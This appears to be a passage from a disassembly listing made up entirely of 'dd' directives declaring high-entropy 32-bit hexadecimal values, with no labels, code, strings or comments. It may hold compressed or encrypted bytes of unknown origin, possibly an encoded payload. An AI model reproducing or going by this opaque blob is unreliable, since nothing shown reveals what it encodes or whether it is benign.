		dd 2B5707F3h, 59B68AEh,	0CDFC024Ah, 1041C4ECh, 888F1336h
		dd 0FC3ABDh, 0E0EE76C3h, 4F4C506Ah, 4682A900h, 5EB30128h
		dd 0D1C8B926h, 1218C7h,	1BE8847Ch, 0AF160D11h, 3C34DB2Eh
		dd 562514BBh, 0E672099Ch, 0A05C4675h, 80286E98h, 0ECB1E50Ah
		dd 8D182ED1h, 18643E0Eh, 0EC5D13A3h, 604B8BCFh,	0BF6BB25Ah
		dd 0C83B0698h, 0B9C2DB55h, 0DC00EDE6h, 5F0595E3h, 1F6E1FD7h
		dd 40077EE8h, 9D69E761h
		dd 8330877Dh, 0AE39C80Fh, 7F384099h, 9C8CFA00h,	6A355EE7h
		dd 0E5D1005Bh, 2EC308DDh, 1C5A761Ah, 637BE407h,	98912175h
		dd 5800035Bh, 1A0643D2h, 24FBD77Fh, 49962A61h, 0BE751294h
		dd 0C84850B2h, 18CBDE8h, 766D350Ch, 2D3367CFh, 0C3793BFCh
		dd 2BE2B442h, 270FC30h,	492D9403h, 98481619h, 0DC00E9ADh
		dd 3538DBAAh, 0EC3EC8BFh, 8DC102E2h, 0A7C275Eh,	0F99EF482h
		dd 0F0C0EE04h, 4EDC0C04h, 81813F8h, 6189107Ch, 739C2022h
		dd 44DDAFh, 94723326h, 1725FAE4h, 0BD85D207h, 0B0B3D9AEh
		dd 0AD4011C9h, 0F01A2CB9h, 23C0469h, 9EE9BCE0h,	29465E04h
		dd 4332816h, 1F1FF08h, 9955BD07h, 13A5CDD8h, 5151E0Eh
		dd 424846F0h, 0B97C23E0h, 0B091C8A7h, 2ED6B853h, 0BD62550Fh
		dd 246FA288h, 0C8C05A8Fh, 65C07C98h, 467DE870h,	262290h
		dd 0B7706D3Bh, 7FDA630Eh, 48214531h, 0F04C97DDh, 83048CCFh
		dd 9E7B5344h, 3E3EA48Eh, 0ED2C4480h, 0B7F7E412h, 1C2BEB24h
		dd 0A18FB906h, 0BD552DA9h, 8898410h, 46ADF10Bh,	0F9B0201Eh
		dd 0C2BDAE35h, 0FBB19C21h, 5B14C4F2h, 0BC426E6h, 0A2FFA134h
		dd 0E88ECBF8h, 76A638C0h, 38149A29h, 76A61946h,	14824960h
		dd 7C02FDEAh, 84AB45h, 70840844h, 186F0A07h, 7E806476h
		dd 718FFh, 861A2A70h, 3B584CF5h, 0C0D648C8h, 7B6E4488h
		dd 38228646h, 44804901h, 7645FB9Ch, 840EB46Ch, 0C9803FEFh
		dd 7FB43B30h, 48347E5Dh, 18DA381Ch, 5E4134DCh, 7F471F68h
		dd 15328B7Bh, 0BA9B2490h, 0A7D16C81h, 770056D5h, 1F4F57CFh
		dd 32B9EC21h, 2E3E2207h, 0E9052470h, 413CBD72h,	0B4D43C8Dh
		dd 18A1B796h, 0EDFFCD23h, 6815FCCCh, 695E551Eh,	8064CF82h
		dd 4B483EDh, 0DE83E0E3h, 3601D24h, 0BDC8044Eh, 30F0CD31h
		dd 0FF00E3BCh, 7E35FD2Eh, 0F8C4868Ch, 4E83F81Dh, 5B444033h
		dd 0DDC059D2h, 0D4FF49h, 0E61D4B24h, 237BACEh, 0F9C95A3Fh
		dd 80636725h, 38C75818h, 639DAF41h, 35647028h, 78A2BDh
		dd 0EB86AA71h, 128B6E6Ch, 153024Dh, 337BE5B7h, 0E4346426h
		dd 385E0E01h, 8B87BA54h, 84411C68h, 0BBEC2078h,	640F88Ch
		dd 7FD745E0h, 905C5023h, 17A23ECh, 9A88C96Ch, 882E1866h
		dd 0C90064C3h, 8F0BDB41h, 0C0EC81h, 334D8CC4h, 6B06991Eh
		dd 0D2AEA800h, 4178F2CCh, 0B2720018h, 578915FFh, 82FC8FECh
		dd 423E030Ch, 30B7A097h, 37903D73h, 0DB305468h,	0A9C7D92Ch
		dd 0A2FC1CE5h, 0B8DC8C05h, 2F00C4D1h, 0ABBBDB1Fh, 4C4264BAh
		dd 7802D8A5h, 1A746F1Bh, 281E68F2h, 0B0C0799Eh,	7B434F83h
		dd 230F0B8Eh, 18E719E9h, 0AF60C844h, 9D050353h,	6561A201h
		dd 0FD661C81h, 0C9F78004h, 7F17EE06h, 30404B87h, 0C4FE655Bh
		dd 67842DC1h, 187FF891h, 0ED700B72h, 0A8E5787Dh, 707A3480h
		dd 0EAB52C3h, 0E7A992D3h, 0D9651E80h, 0F312EAB3h, 4049BBB7h
		dd 71005196h, 14518C6h,	0E54162C0h, 0D5B0DD5Ah,	2FC820DEh
		dd 7C34BC4Eh, 2B88388Eh, 0E7333FC0h, 0CBD26B5h,	370408C8h
		dd 18918C26h, 2FB13409h, 3B0500A0h, 0ACA013C2h,	0F462CB1Ah
		dd 1B581438h, 0AC8B5794h, 44C011C8h, 0F1A738Ah,	0F3A102A8h
		dd 0EE103C74h, 0A99C1A2Ch, 88AC5486h, 23854392h, 0C908688h
		dd 0FEF828Bh, 0B185227Dh, 0ACE8C4A9h, 0F8A43C7Fh, 32D6409Ch
		dd 0EA908883h, 0EC96B078h, 83580FDCh, 9803B0D3h, 30E9EC75h
		dd 0A882F2C7h, 1F191BE0h, 7F799C10h, 83C8D960h,	0C61CE2ABh
		dd 20320680h, 0D720F890h, 0C7CE04CBh, 0F0337983h, 0F14809FCh
		dd 282052Ch, 14834519h,	9801A4DAh, 0B984E4A1h, 3FF980CAh
		dd 75B2037Ch, 0E5D41645h, 0D3EC043Ah, 42DF0435h, 5FE0DCF6h
		dd 0EF7C7B40h, 25090C98h, 0B75323ADh, 7DAB809Ch, 207FA196h
		dd 8444EA4Ah, 8D1F3201h, 4BA8E003h, 0C526C8E8h,	48AC8C72h
		dd 7D004A71h, 3B4C8EDBh, 6E139BCh, 274D9B1Ah, 5217D122h
		dd 40F4AC35h, 4C544870h, 0CC2E4610h, 0F667C1BFh, 74543CE3h
		dd 0B2FFA80Ah, 501881E8h, 20CDBCB9h, 0B3400B58h, 0C3F8103h
		dd 6F048C7Eh, 607DE670h, 39202A62h, 4D7077h, 22890F5h
		dd 7B0B0E72h, 82211669h, 2DD790h, 65F0AE37h, 95FEBB80h
		dd 0F5E7E493h, 0F40C6066h, 0CE34ED9Ch, 4885B007h, 0E22A5CA2h
		dd 8036FA30h, 0DC5055B0h, 1D40828Ch, 87230804h,	0B804034Fh
		dd 48A0A1A7h, 61D1E27Fh, 0C66039D9h, 7D09D8BEh,	17CBB716h
		dd 309A9434h, 0C89973C0h, 8200B23Ah, 0E50DD0D7h, 5C715C55h
		dd 91027766h, 8F117FE1h, 0F1307070h, 40B11867h,	24620105h
		dd 2CE975E2h, 9946641h,	605D8E39h, 167B55F4h, 0D12B36ABh
		dd 1C43FC0h, 5840AE35h,	2D81E8B2h, 50802833h, 2F06ED9Bh
		dd 1F483797h, 0D3B1C430h, 0FE1C8CD9h, 0B17D2388h, 903002E0h
		dd 0B4A01D2Dh, 9997D7C4h, 0C44334Ah, 0F04E2CFFh, 4E10D874h
		dd 86090312h, 58D48132h, 552FD438h, 877D8001h, 0C184578Fh
		dd 3AA1CAA6h, 22584036h, 0F50928FBh, 8280742Ah,	4D76368h
		dd 9198307Bh, 265A269Dh, 0ECFD04FCh, 0F2ECF26Ah, 29E9302Bh
		dd 2F865805h, 648192A5h, 0C01BFCFh, 0BCA0688Fh,	0E7EE8C2Bh
		dd 1C1FD00h, 67739591h,	0E1844A83h, 0D58C0793h,	82BC329Dh
		dd 0DF85B410h, 22882849h, 1A2F11C3h, 3538A279h,	0F60F137h
		dd 47282EBh, 32CD6FB0h,	197520F8h, 0F102C2A5h, 1046B04Ch
		dd 421CC62Dh, 0B80C50C7h, 260898B1h, 8D76249h, 0D26CB200h
		dd 199F1260h, 57B090DAh, 71052763h, 2F6C956Eh, 0E15AC201h
		dd 0AC6D1787h, 266FAC1Dh, 14BD0000h, 0CE0A24E2h, 0C848826h
		dd 62121D51h, 97CB7860h, 0EDBD3915h, 82F2188h, 44A53876h
		dd 8C970350h, 78BBEE0Bh, 758438D0h, 0E7CA2F0Fh,	2BD979B2h
		dd 3A88D10Ch, 53592596h, 1FAFF860h, 46D41641h, 98575370h
		dd 0C9108474h, 2CD0CBFBh, 58A98089h, 0BDE4C0E5h, 0F0C0A162h
		dd 44865440h, 0E95C9B3Ah, 4136102Ch, 0C8048A92h, 0C580CF2Ch
		dd 0F392E345h, 37094890h, 37297446h, 392508F0h,	1015BF42h
		dd 0E285A013h, 1210C033h, 0C4478427h, 6EC0D109h, 0D0C14D8Fh
		dd 2427CF7Fh, 0E0FD8308h, 40BA3F87h, 0A0E28230h, 0A5D39C8Ch
		dd 4D488D0h, 0B06CB101h, 242EAD0Bh, 460AA4Ch, 31B71FD6h
		dd 8658393Fh, 88BC6284h, 0F38EBAF4h, 0A8E98292h, 0D871B084h
		dd 3CB47CDCh, 8AF88Fh, 2FAFA9EBh, 65BC0338h, 91615D59h
		dd 2CF407C1h, 0F619204Ch, 0A439D2F9h, 0CCBCDAE4h, 91A94E80h
		dd 73C7226Ah, 3EAA2C1Ah, 88813E4Ch, 118158D3h, 0DF00249Dh
		dd 3513E6F8h, 7CD0DA03h, 0E2977224h, 0E620033h,	1A6A3C85h
		dd 430CE17Eh, 290A7F18h, 0EDFC2F81h, 7A624020h,	0CF1D33B4h
		dd 800265A7h, 0F1EB8972h, 1811795Ch, 8DD507C9h,	20E48F51h
		dd 0DBF4B426h, 59A6189Ch, 198AF503h, 5ABD0C7h, 5F7373h
		dd 0E75D092h, 49EA6B45h, 207B8825h, 0AF732F24h,	5B810310h
		dd 0FCAAA62Eh, 9562C7C8h, 680E58E6h, 0A0BF80D9h, 5374C2D2h
		dd 8F241663h, 9D545C61h, 0F2FDD27Ch, 3015E248h,	0A1129A37h
		dd 0C4E8B6E3h, 29BE6308h, 0A1FD610Ch, 159005Dh,	1D8005B9h
		dd 9800CA54h, 30639C88h, 697D7E3Ah, 81008826h, 0E5B31A32h
		dd 0EB9C8200h, 0CB24B67Bh, 0DF1BF62Bh, 0DA44079h, 59F5BC99h
		dd 0A0543901h, 10355A87h, 69232838h, 6FB7E701h,	2C3FF73Ah
		dd 0CF02EE28h, 6FB445B7h, 40A0F8E8h, 0E5620A2Dh, 5417E10h
		dd 0A29B129Eh, 725700F0h
		dd 0FE3BD753h, 7DF20Bh,	93D5702Ah, 0BE0DDC68h, 1A095C0Ch
		dd 779311Ch, 0E74E7A0Fh, 0D930002Ch, 3716AECBh,	0E43A1617h
		dd 0D5003223h, 0BD2011ACh, 0A998A001h, 0A8E25D77h, 250F3811h
		dd 0C8786B61h, 0E45CD8FAh, 0D9550006h, 0FD2D19C1h, 8504EF68h
		dd 0E09C7996h, 0A16440C3h, 0C6895AFh, 923EC601h, 0EE35E508h
		dd 0EC56C4C6h, 0C48B4EF8h, 0D5C02CC8h, 2E4F60CDh, 3B4A0Ch
		dd 7722DEF0h, 2E09D838h, 0F101AE35h, 0CE0F089Ch, 7C301428h
		dd 8EAD921h, 0B6C51286h, 490F03C4h, 508F56EDh, 47B07F74h
		dd 4AE23500h, 0D908C24Dh, 4C81E26Ch, 7680507Ah,	0BD34B793h
		dd 44401100h, 0DB86B9FEh, 236A3FCCh, 0C23BCF00h, 0AB7F49EFh
		dd 2644BB09h, 0D21C892Ch, 0B46D3B70h, 6C00A9EFh, 0A19B0205h
		dd 0B0CAF333h, 0D4238A81h, 28465EE4h, 0DCBD203h, 44005D68h
		dd 82F7FADAh, 75C79322h, 7A18178Ch, 0BD0C222Ch,	710B6720h
		dd 4A20005Ah, 3779DF47h, 10087E4h, 1C9FD723h, 4B3D12Ah
		dd 85B59C68h, 78009976h, 8C2DBC68h, 189C7201h, 2B892334h
		dd 0F3879F2h, 0E5090BC1h, 30E4C8E5h, 0AFB4AB60h, 0FAFE6F02h
		dd 400B22C8h, 8925D6CCh, 385CD6A1h, 1BDE1831h, 672CC504h
		dd 27792120h, 0AB8101CCh, 61115462h, 87071E29h,	11B96E00h
		dd 3D14F3C1h, 0F93D5230h, 5E0499Eh, 0C1289FCAh,	736E398h
		dd 7CF509F2h, 2E465EFCh, 1785363Dh, 0E0DF919Bh,	38356E48h
		dd 0BC09A88Eh, 9E74016Ch, 3F5F91h, 0A51E5CC4h, 0C124E5CCh
		dd 65412483h, 0D02F877Ah, 480E1A90h, 0D39DD112h, 0B1B55808h
		dd 4D74F48h, 6B5AE4A8h,	32DA00A8h, 1FEF089Bh, 378205ACh
		dd 0C82595A6h, 0A0BC83A4h, 0CC50C564h, 51D4210h, 0D207B186h
		dd 889E28CCh, 0EAEFAF7Dh, 0CE96A8E8h, 9C5B5A41h, 0A06284C2h
		dd 6B19CCE1h, 0C80B9812h, 91101797h, 3E1780C7h,	0EE986A33h
		dd 0AF7F09AAh, 70C8213Bh, 5C800945h, 6A380903h,	0CD00F3F2h
		dd 0FAD13FD7h, 861FF573h, 97C0D9A7h, 3183C702h,	0CD650553h
		dd 9C4EC33h, 7602C0C4h,	7471FE2Ah, 0C4181071h, 0F975B800h
		dd 578F43BBh, 286C03B2h, 5CC1240Eh, 91A63898h, 5A92262h
		dd 58BCDB98h, 64002D70h, 8214B430h, 0E463E15Eh,	3F440ECFh
		dd 4472A808h, 0A9AD3530h, 7FD901F0h, 0F54B88E5h, 0D234412Ah
		dd 207DF85Bh, 0A4A01E50h, 223D48B7h, 24164B88h,	0BEF20CE2h
		dd 3A3DE230h, 0FC05750Bh, 0B29BB184h, 195E7870h, 2623683Eh
		dd 6F3EC09h, 16B03C05h,	0A3B578B0h, 4DFB27B8h, 0DD35603Ch
		dd 636C7B68h, 12EE481Eh, 0C207B77Fh, 0A0D21948h, 8FC2C801h
		dd 0BEB84830h, 72AC20h,	52EB4DE9h, 0FE125DFBh, 781A40C4h
		dd 0C60050E9h, 97DE1C42h, 78B17B8Fh, 67528A1Dh,	0C0F94F0Fh
		dd 0EB5E11EDh, 0AF713E17h, 80581278h, 23443A07h, 1C78032Ch
		dd 0BDD04CEAh, 0D00A0E72h, 0C008B46Eh, 29FC9910h, 0B71F098Ch
		dd 1021ADDBh, 4701A7DAh, 0FC71398Bh, 465E00AEh,	374E00CAh
		dd 39749314h, 4094989Ch, 6C7283D5h, 65882569h, 6012E43Ch
		dd 1F52F425h, 2901F9DBh, 182CF980h, 86C61FF0h, 20796BCh
		dd 66E59CFDh, 0C77914F1h, 976CB18h, 0E6FC55F4h,	2B203890h
		dd 6A37040Fh, 0C0320C76h, 8B859E0h, 3F6C1DB7h, 5B5700C6h
		dd 8562BCD5h, 0F391482Dh, 0F0809727h, 1AE4828Ah, 10800158h
		dd 8901D0F7h, 8723032Ah, 64422EC2h, 1E098Eh, 0D412C975h
		dd 693D5F18h, 13DF3121h, 48B5ED7Fh, 0E56B5320h,	60CA6498h
		dd 3EF059D1h, 0DE075D29h, 40B515CFh, 0BADEC7Fh,	0A211949Ch
		dd 6FA99E05h, 3B28D0D6h, 8680167Eh, 7809480Ah, 5D848A7Ah
		dd 0D7DCE0EBh, 847E4828h, 352D40h, 857BD546h, 0C3FA7503h
		dd 67F19305h, 28F26124h, 0C9302CF2h, 587200E6h,	92DED3DDh
		dd 0CF27440Bh, 9114859Fh, 1D81A4F8h, 80121387h,	6C216618h
		dd 0B97B976h, 0EC37E4B1h, 9A2044F0h, 0DA0A3CFFh, 0A1201131h
		dd 1BF882EBh, 72F50E5Eh, 470A40F8h, 37C3AF18h, 4E188058h
		dd 3320887Fh, 0EE800677h, 0A8871ABBh, 0D41028D8h, 557F8E3Ah
		dd 77004BDh, 17DA6858h,	0C5FB1388h, 0BF8C750h, 0F482F7CCh
		dd 1E00F54Fh, 88B8B7A9h, 0F840DE3Bh, 60F245B1h,	3A59CB34h
		dd 9E42883Ch, 30FC0C32h, 0CD0B2380h, 810A8502h,	5968454h
		dd 48E55F02h, 0D96226E4h, 37C0F08Eh, 0BAFFB2Bh,	1828F648h
		dd 8358F32Fh, 7D4B02BCh, 4629896Ch, 0B1932CFCh,	0BB001C7Fh
		dd 625A1E53h, 39E3175Dh, 81C00048h, 0B1BAF8A5h,	96AB29D2h
		dd 846D9EFCh, 80719D50h, 0D3B7FE44h, 85582348h,	90023D96h
		dd 4847AF17h, 0BD82B36Ch, 0B5233822h, 607C88FAh, 0ADD25h
		dd 0A25B7B04h, 0B94932Fh, 0C3F347Fh, 530CD200h,	0C347F646h
		dd 4DB19858h, 4208B1ECh, 7C031F60h, 523924B2h, 431A0844h
		dd 7799C02h, 42CD4C9h, 82F80BB0h, 94A73628h, 2F39CC7Ch
		dd 540AD902h, 29216EFh,	5E00DA6Fh, 0B289968h, 0FA591A63h
		dd 7D0E60F3h, 0A040CFFEh, 5D69B27Bh, 0EA5B0B71h, 0D8020C77h
		dd 81241F79h, 55B15DC0h, 88C0D978h, 8825080Eh, 54000690h
		dd 199F0CF6h, 5ABB1FAh,	3F576452h, 427F83A7h, 0B25E5102h
		dd 41F61E5Ch, 0E504FA94h, 879400E0h, 0FB022E2Ch, 0DD1C2084h
		dd 5ED4A001h, 9849FF67h, 0CF1E40C8h, 0C4290840h, 0B761DA0h
		dd 0B0F2DBh, 3B7A2B1Ch,	6CACE5CBh, 87B0324h, 0C7D77D40h
		dd 0E6149029h, 78C801D1h, 0A35C9B6Ah, 582F2A76h, 0C2011223h
		dd 17145829h, 0DC0E9072h, 70C05DA1h, 8F189C0h, 45882312h
		dd 0BB88288Fh, 0D56005C1h, 5AAC203Ah, 2D00B19Ch, 445FCF0Bh
		dd 9763774h, 19E15922h,	2A11601Dh, 0B2B6A80h, 34A8E9A2h
		dd 0F000CE2Ch, 0DE2D2613h, 3B014D1Fh, 2845A85h,	0C13D085Bh
		dd 1572854h, 222F88DDh,	8630D078h, 7B501144h, 802C8896h
		dd 0FA447E47h, 860B708Eh, 82FD815Eh, 0BB57B80h,	0DA62402h
		dd 7D04645Eh, 40ACCDCFh, 0A4006739h, 0A197E88Eh, 30C9DFE3h
		dd 974CF005h, 1191001Dh, 0C5430680h, 960080B3h,	264B8679h
		dd 103674FBh, 66E5746h,	0FA127FA1h, 41684C88h, 3C7E8900h
		dd 592C54E3h, 7A3DBD00h, 5B7F0AEEh, 91804B9Bh, 940CE8h
		dd 4874F421h, 204AD699h, 9EC4FF4Ch, 482C14Fh, 0F8E12F29h
		dd 387A3B05h, 0C99E1F60h, 7F3880A7h, 5B9989ABh,	1018182Fh
		dd 31443783h, 4ADAF0BDh, 478A326h, 0BCA7999Eh, 0B218E4F9h
		dd 6FC15942h, 5918D860h, 98214571h, 644326A0h, 5B60F30h
		dd 2046B061h, 88947C31h, 0E89E881Ch, 2C1FC608h,	0ADF9028Ch
		dd 0ACF9CC46h, 0F404AE04h, 0A4DAE905h, 6300A460h, 0C246453Ch
		dd 0B5DCC8BEh, 20A3EC27h, 154C547Dh, 0DEE5DA00h, 0BA58BC71h
		dd 0D97E0B33h, 0C4D1EC91h, 82DE0800h, 4E926D27h, 0B8F47284h
		dd 0ED27CC74h, 7787C01Ch, 0A6133510h, 38D7278Dh, 0B7330554h
		dd 0ECFCE8B4h, 6F008C37h, 0B1852A3Ch, 9C2C818Eh, 0B95C981Ch
		dd 3BE4B77Fh, 0A63970C1h, 906A02C5h, 119EA418h,	3C9496F8h
		dd 0C6465Ch, 0BB35ECD8h, 39D99D4h, 2A7B2DCh, 88CC9379h
		dd 63402414h, 28DF0484h, 0C325DE58h, 69B354F0h,	0B77E41FFh
		dd 678850D7h, 6F2734EBh, 254EC94h, 0C95BC799h, 0D4C1D51Ah
		dd 0E468102Bh, 8AF91771h, 40A8E0ECh, 0C9257FEAh, 58F87BFAh
		dd 73021E57h, 0C8091AF6h, 2445296Fh, 0E06030E4h, 4D01984Bh
		dd 242C5D96h, 403ADC9Fh, 60117D1Ch, 320735DAh, 0C84D5890h
		dd 0AD221240h, 44AE0448h
		dd 0B072D09Ch, 4EB51F24h, 5F397CF0h, 0F33C80F9h, 4716DFF4h
		dd 24B429E4h, 846133Ah,	289CCD25h, 8CC9ACB8h, 97B1F939h
		dd 64C8D249h, 0F6AA006Fh, 46B63402h, 22250AF3h,	1AEC6984h
		dd 93F44F7Eh, 0B167F540h, 0C31780AFh, 0CC0747A3h, 8F924654h
		dd 0F2230734h, 0E20E3869h, 4DBB7h, 925A637h, 0C82DE1DFh
		dd 0E04C8AC0h, 5A099893h, 0CF38C017h, 6715041Ah, 0AC74C963h
		dd 0CAFB3879h, 0F9587F35h, 0A2F85378h, 0D00F312Dh, 4F0457B9h
		dd 4AADFB02h, 1E1310ACh, 157C0808h, 712C9A6h, 5ABE50B0h
		dd 82C0902Ch, 0D2177BBFh, 78E7476Ch, 0B1AC4C4Dh, 21EA802h
		dd 680A843Fh, 9409960Ch, 2B46765Ch, 69DE0F05h, 3BB88249h
		dd 0E2EAF444h, 24B2A40h, 0E602EE4Dh, 687E04CAh,	7918FF7Ch
		dd 3041921Fh, 0A3847A00h, 9563B7F7h, 83B3F082h,	0CA469C5Eh
		dd 3A9A0530h, 8F50BB0h,	9E8285B4h, 72B58FA9h, 840640D4h
		dd 786D3788h, 0BE4C32A0h, 0D0901858h, 0DB00F5C4h, 99E1CD3Dh
		dd 1F2AAA13h, 0C7EA3B01h, 0FC5EB48h, 2597DFC1h,	6F182055h
		dd 94DA1F24h, 8CF51A96h, 3FA49E80h, 0F628D7E5h,	5F703607h
		dd 0DBD0A8F7h, 25BA64BDh, 6CD23A74h, 5512B6F0h,	14A47A70h
		dd 0F1620085h, 0AA2B4834h, 0BA0AF573h, 0B0CD6C58h, 49C0D144h
		dd 59179240h, 360B94AFh, 1CE22F91h, 5D28925Dh, 5A015C37h
		dd 83783001h, 133A44F4h, 89969361h, 0C46DF0A8h,	8221B005h
		dd 0CC20DD7Ah, 20ACF2E9h, 78967432h, 28A28716h,	6F017923h
		dd 6E9A85C9h, 0C6880F18h, 2BC90067h, 0D83CDE1h,	34B0D977h
		dd 0A9B19704h, 0D4CE2C79h, 14C02CC8h, 0B4C6A22h, 338DBF8h
		dd 0CAD9B8D1h, 8A009518h, 5A1F98A6h, 0F7CBA99Ch, 0EA139022h
		dd 2B2098F8h, 26CFA188h, 477CDBE9h, 0CB02D819h,	0D2C31A4Bh
		dd 7FCF0218h, 70A8505h,	7D3018D7h, 0E175AD7h, 0F5EB1950h
		dd 0B4DBD851h, 64DFB560h, 42F4CE0Bh, 0D8D100C7h, 560EE7Fh
		dd 437B6A57h, 4CFCD00Ah, 5226627Dh, 4CDE94D7h, 1C094ABCh
		dd 405481DDh, 0D405B140h, 34930007h, 0F926CA83h, 0B2013529h
		dd 0FE582D5Ch, 942C6CDBh, 5B829E88h, 5B35454Bh,	49287098h
		dd 0C9745407h, 9550B569h, 975F5AFFh, 2B119497h,	0C6A2B680h
		dd 9CA1C05Fh, 9478DE17h, 54CBFE4Bh, 0A0CF2C88h,	0C3F9F4C5h
		dd 0DCC813F6h, 42F491ADh, 0CC7A6BF5h, 0FBE04D00h, 277B5823h
		dd 1859C1C0h, 1EAD8C1h,	0B397C23Dh, 0EA63EBE5h,	873B4FE0h
		dd 4C8C7B00h, 0E1859D7Ch, 0F592FE7Eh, 8000183Dh, 0C13AC64Dh
		dd 0CCFD606Dh, 0CA5B3E53h, 0FCE43082h, 56798F8Ch, 44885B30h
		dd 0D2624C42h, 34810816h, 6431BA1Ch, 0C1E475DFh, 49DD28AFh
		dd 87E49620h, 0D0B6F081h, 0F9B54711h, 799C8504h, 0C088D253h
		dd 0A1E403Eh, 7CDBD54Ah, 26130C0h, 0D6416FA1h, 7620056Fh
		dd 3E50C9CFh, 329F0004h, 0D460810Eh, 0FACD087Dh, 0B47B7899h
		dd 354BCF60h, 42801F00h, 162291F0h, 6CF30B7Fh, 0F840F97Eh
		dd 0B4006D39h, 9972EAB1h, 2FC04Bh, 28F683CBh, 5C694C62h
		dd 68311E4Ah, 18FD637Bh, 7B8972Ah, 95A5C8E7h, 0C6BFC4h
		dd 219CB9D8h, 52B8534h,	53D7F40Ch, 2FF4E91Eh, 6EC8E8DCh
		dd 6B4F032Bh, 949A122Dh, 0C70B6290h, 91BD74B8h,	0D5E5790Ch
		dd 0F5165441h, 8123D100h, 82DDACAAh, 10758F18h,	14BF29ADh
		dd 52FC80FCh, 77C8881Fh, 38B4BD4Ah, 194762A2h, 42B6FA8h
		dd 1B0E0410h, 83B41390h, 39DD7CD1h, 208DF980h, 503F6866h
		dd 21D4E300h, 28526ED5h, 0CFCD027Ah, 77D04EC0h,	0CCB83B5Fh
		dd 6A3E2941h, 9E808346h, 0FA5B05E5h, 9FC4DE19h,	1020EDEBh
		dd 0E4DBEEAFh, 6D9711C9h, 3C7860D4h, 1B00A317h,	501C25A4h
		dd 0A6BD226h, 0DDD58771h, 0CA244098h, 0EB06E8B5h, 0EC7FEE16h
		dd 38692F80h, 2F6450E7h, 54085360h, 4F302001h, 75DEBBC3h
		dd 5C807C30h, 22141C58h, 0CE2780E9h, 1511C09Fh,	0F5E37682h
		dd 0E01C8584h, 2028F24h, 0F3E2781Fh, 0CD044D7h,	8BD8E37h
		dd 0B95DDDD0h, 0C5CD008Ch, 11FDCFE9h, 892D057Eh, 0BF1DEA63h
		dd 3F32821h, 7A50B100h,	5E24C697h, 803C9BD8h, 0F4845DCAh
		dd 1CE4B781h, 2E129C71h, 88ED6496h, 6F6D3700h, 54585E6Ch
		dd 1628E4B7h, 0F904C8Bh, 0D1AF03A6h, 697C6E26h,	1934CF02h
		dd 766CF90Eh, 697540FCh, 68E40346h, 0A4FB1F07h,	0D0F0C357h
		dd 28DC3345h, 20C40ADEh, 0AF26FD56h, 2665B049h,	25072980h
		dd 0F8D3090Ch, 1CBA97E8h, 4656B4FCh, 0B4AA002Ch, 35A14F8Ah
		dd 26D7C64h, 7FD492F4h,	0E4A0AFD7h, 0DFA19C86h,	0A0F4CA4Ah
		dd 1B6D207Eh, 675CC701h, 0A96BDA35h, 83D4302Eh,	1D4C0720h
		dd 0D9242520h, 182CF118h, 0ABE802C4h, 0FFA1397Ch, 291130FCh
		dd 4BAF7F05h, 0F7BCD322h, 7B1A3914h, 675E83E8h,	30B3CD87h
		dd 0DC88205Bh, 0E3008E43h, 84D87266h, 77E9B2C2h, 0E5A813BBh
		dd 66D0DDD3h, 24E5B06Ch, 36DC3007h, 17CC8191h, 0E4F35103h
		dd 0C8A8F6B3h, 59D42Bh,	0C552D350h, 397088D0h, 18F0924Eh
		dd 0D58E2738h, 6E622482h, 7A8868DBh, 8916418Ah,	663E0E9Eh
		dd 0DFB18489h, 9D048840h, 0BB0C02BDh, 5BA90F3Bh, 6FFD6864h
		dd 329CE8C1h, 0BAC80405h, 0FE864010h, 4EDD8F23h, 6528E61Ch
		dd 84ACEE38h, 0FCFC3C2Ah, 0AFFB2586h, 0F4025059h, 0DB9DB497h
		dd 16404C88h, 0DD384DEFh, 87F98521h, 7089C4B2h,	80350064h
		dd 4304F02Eh, 289E4B81h, 8079F0D2h, 252E7B7Ch, 778712BBh
		dd 0C338A80Fh, 51BAE38h, 839F7FA1h, 21AC533Ch, 0D1214304h
		dd 2096DA18h, 2E999E11h, 335FD708h, 51B63706h, 0C44705B9h
		dd 62F21770h, 0A8C03570h, 98892130h, 5A4F8C64h,	46E471D8h
		dd 758462DCh, 88A52500h, 0C19438CEh, 0CBF4381Eh, 0D885A600h
		dd 57A2ED5Dh, 2815B04h,	14DBE43Dh, 6A8673C0h, 1700897Ah
		dd 81685238h, 0F46BD316h, 719C047Bh, 0C048DFFCh, 72C1F161h
		dd 0F0314503h, 0EFA590Dh, 47251721h, 721038E1h,	29DC4E2h
		dd 9C817602h, 0DE6879B4h, 0F67E8780h, 77DA100Dh, 0AF63206h
		dd 41307100h, 1C793D6Dh, 79701B2h, 8766B59Dh, 70BBF0E8h
		dd 0D0F1FF27h, 0AEC3024Ch, 92197B7h, 1721C8AFh,	3F0A12B8h
		dd 40E8E88Ah, 20E842E1h, 0FCA1CEC3h, 36108CDDh,	405708D4h
		dd 0A540967Ah, 80C7405Bh, 4066B640h, 9240D1BAh,	90BC4086h
		dd 408EA940h, 9540D507h, 0F07440EBh, 630BD240h,	228C782Bh
		dd 28670810h, 10F5ED10h, 8A3F4026h, 0B9596340h,	80831B8h
		dd 0DA01C8A3h, 38101ACh, 1DC9501h, 388D18DDh, 0BE0919D6h
		dd 0BD5512F6h, 1848644Ch, 4F61CCC5h, 0F1663A81h, 31710C20h
		dd 0CE182480h, 0D5088821h, 99313D2Fh, 8C9D5F20h, 18168C08h
		dd 8F86304h, 1818720Dh,	7A08CAACh, 0F35A8001h, 0C4348380h
		dd 4A43728h, 380CD84Dh,	4662E359h, 2A01420h, 2B02A352h
		dd 0D0C003E2h, 43D95162h, 0FBE102BFh, 32E0DC03h, 0FA10F481h
		dd 0CC069CA3h, 0EACCB144h, 7F202E65h, 0FC978C4Ah, 20E9B999h
		dd 7D9F2188h, 54C7203Dh, 0FBBEBC6Eh, 3ED0D01h, 51A91893h
		dd 137B3811h, 91F708DEh, 0F104FDD4h, 3CD54805h,	0F608079h
		dd 0D9B808CCh, 44BB406Ch, 5408E962h, 0D17202EBh, 297D902h
		dd 8F03A127h, 0DD60104Ch, 947F2ABEh, 0F2D44454h, 3408B163h
		dd 0C281910h, 882408F6h, 0CF0CA61h, 76D9AAE0h, 0C6FA4E80h
		dd 8F22E28h, 1033AC20h,	2031E15Ch, 75B43209h, 5049E831h
		dd 0BCA701C0h, 1B2BA01h
		dd 0E9909845h, 1E3318D6h, 0C9493F50h, 0B0220808h, 6A06789Dh
		dd 0EA5D31B1h, 88B54810h, 0C0BC608h, 0D4203595h, 7FD9A9C6h
		dd 0F1216218h, 0CC044005h, 8F194C95h, 80245510h, 5C11C5DAh
		dd 0F4E0559Ch, 24CB7F10h, 3295D806h, 0E7C815E4h, 0B0B05490h
